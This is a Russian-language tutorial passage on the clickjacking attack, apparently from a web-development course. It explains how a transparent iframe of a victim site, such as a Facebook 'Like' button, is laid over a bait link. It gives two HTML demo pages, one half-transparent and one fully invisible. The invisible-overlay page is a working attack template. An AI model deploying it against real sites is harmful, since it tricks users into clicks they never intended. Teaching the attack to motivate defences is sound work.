Атака Clickjacking и защита от неё
Атака «кликджекинг» (англ. Clickjacking) позволяет хакеру выполнить клик на сайте-жертве от имени
посетителя.
В русском языке встречается дословный перевод термина clickjacking: «угон клика». Так же
применительно к clickjacking-атаке можно встретить термины «перекрытие iframe» и «подмена
пользовательского интерфейса».
Кликджекингу подверглись в своё время Twitter, Facebook , PayPal, YouTube и многие другие сайты.
Сейчас, конечно, они уже защищены.
В целом идея очень проста.
Вот как выглядел «угон клика» пользователя, который зарегистрирован на Facebook:
1. На вредоносной странице пользователю подсовывается безобидная ссылка (скажем, что-то
скачать, «разбогатеть сейчас», посмотреть ролик или просто перейти по ссылке на интересный
ресурс).
2. Поверх этой заманчивой ссылки помещен прозрачный iframe со страницей facebook.com, так что
кнопка «Like» находится чётко над ней.
3. Кликая на ссылку, посетитель на самом деле нажимает на эту кнопку.
Видимый код
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
/* iframe с сайта-жертвы */
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Нажмите, чтобы разбогатеть сейчас:</div>
<!-- URL, в реальности — с другого домена (атакуемого сайта) -->
<iframe src="/facebook.html"></iframe>
<button>Жми тут!</button>
<div>..И всё получится (хе-хе, у меня, злого хакера, получится)!</div>
</body>
</html>
Невидимая кнопка(как у хакера)
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
/* iframe с сайта-жертвы */
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0;
z-index: 1;
}
</style>
<div>Нажмите, чтобы разбогатеть сейчас:</div>
<!-- URL, в реальности — с другого домена (атакуемого сайта) -->
<iframe src="/facebook.html"></iframe>
<button>Жми тут!</button>
<div>..И всё получится (хе-хе, у меня, злого хакера, получится)!</div>
</body>
</html>